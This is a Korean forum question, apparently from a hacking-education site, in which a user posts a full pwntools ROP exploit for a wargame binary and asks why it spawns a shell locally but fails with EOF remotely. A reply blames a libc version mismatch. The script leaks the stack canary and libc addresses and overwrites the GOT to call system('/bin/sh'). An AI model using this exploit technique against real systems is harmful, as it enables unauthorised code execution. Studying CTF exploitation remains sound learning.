remote EOF
from pwn import *


p = process("./rop")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
e = ELF("./rop")

read_plt = e.plt["read"]
read_got = e.got["read"]

puts_plt = e.plt["puts"]
puts_got = e.got["puts"]

pr_gadget = 0x00000000004007f3 # pop rdi ; ret
ppr_gadget = 0x00000000004007f1 # pop rsi ; pop r15 ; ret

p.recvuntil("Buf: ")
pay_canary = b""
pay_canary += b"A" * 0x39
p.send(pay_canary)

p.recvuntil("A" * 0x38)
canary = u64(p.recv(8)) - ord('A')

p.recvuntil("Buf: ")

pay = b""
pay += b"A" * 0x38
pay += p64(canary)
pay += b"A" * 8
pay += p64(pr_gadget) # pop rdi ; ret, rdi -->  read_got
pay += p64(read_got)  # puts arr leak
pay += p64(puts_plt)

pay += p64(pr_gadget) 
pay += p64(0)       # pop rdi ; ret, rdi -->  0
pay += p64(ppr_gadget)
pay += p64(puts_got) # pop rsi ; pop r15 ; ret, rsi --> puts_got
pay += p64(0)        # pop r15 ; ret, r15 --> 0 
pay += p64(read_plt) 
# read --> sys_arr(8)+binsh

pay += p64(pr_gadget)
pay += p64(puts_got + 8) # pop rdi ; ret, rdi -->  puts_got + 8
pay += p64(puts_plt)

p.send(pay)

read_arr = u64(p.recv(6) + b"\x00\x00")  
libc_base = read_arr - libc.symbols["read"]
sys_arr = libc_base + libc.symbols["system"]

p.send(p64(sys_arr) + b"/bin/sh\x00")

p.interactive()

해당 문제의 코드 입니다. 로컬에서는 문제없이 쉘을 획득하였는데 리모트로 할 때에는 EOF가 터집니다.
무엇이 잘못된 것인지 모르겠습니다.

#시스템_해킹 #공격기법 #rop
작성자 정보
답변 1
leejoy
강의 수강: 1

libc 버전이 다른 것 같아 다른 버전의 libc 오프셋을 적용하여 해결하였습니다.

2022.02.17. 22:30
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기